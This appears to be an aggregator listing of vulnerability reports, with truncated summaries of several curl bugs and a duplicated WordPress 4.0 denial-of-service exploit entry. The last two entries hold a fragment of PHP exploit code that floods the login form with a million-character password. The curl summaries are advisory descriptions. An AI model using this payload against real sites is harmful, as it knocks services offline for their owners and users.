curl: Unbounded GZIP Decompression Leading to Event-Loop Starvation

When libcurl is configured to decompress HTTP responses via CURLOPTACCEPTENCODING or the --compressed CLI flag, it lacks decompression bounds checking or a mechanism to yield execution during massive expansion tasks. If an attacker provides a highly compressed payload zip bomb, libcurl's underlyi...

curl: Use after free in hyperfifo example

Summary: THIS ONLY IS AN ISSUE IN EXAMPLE CODE, NOT CURL ITSELF! In the hyperfifo example the event base is freed before the curlmulticleanup is called. This leads to a use after free in the addsocket callback, when libevent tries to lock a mutex in the base event during the curl shutdown. Link t...

curl: Integer Overflow in curl_multi_get_handles() Leading to Heap Buffer Overflow

Integer Overflow in curlmultigethandles Leading to Heap Buffer Overflow Summary The curlmultigethandles function in lib/multi.c contains an integer overflow vulnerability when the number of easy handles in a multi handle approaches UINTMAX 4,294,967,295. When count == UINTMAX, the expression coun...

curl: Connect-only connections can use the wrong connection

Summary: If a connect-only easy handle is not read from or written to, its connection can time out and be closed. If a new connection is created it can be allocated at the same address, causing the easy handle to use the new connection. This new connection may not be connected to the same server ...

WordPress 4.0 - Denial of Service

WordPress 4.0 - Denial of Service $argv2, 'pwd' = strrepeat"A",1000000, 'redirectto' = $argv1 . "/wp-admin/", 'reauth' = 1, 'testcookie' = '1', 'wp-submit' = "Log%20In"; $cookieFiles = "cookie.txt"; curlsetoptarray$ch, array CURLOPTHEADER = 1, CURLOPTUSERAGENT = "Mozilla/5.0 Windows; U; Windows N...

WordPress 4.0 Denial Of Service

$argv2, 'pwd' = strrepeat"A",1000000, 'redirectto' = $argv1 . "/wp-admin/", 'reauth' = 1, 'testcookie' = '1', 'wp-submit' = "Log%20In"; $cookieFiles = "cookie.txt"; curlsetoptarray$ch, array CURLOPTHEADER = 1, CURLOPTUSERAGENT = "Mozilla/5.0 Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6...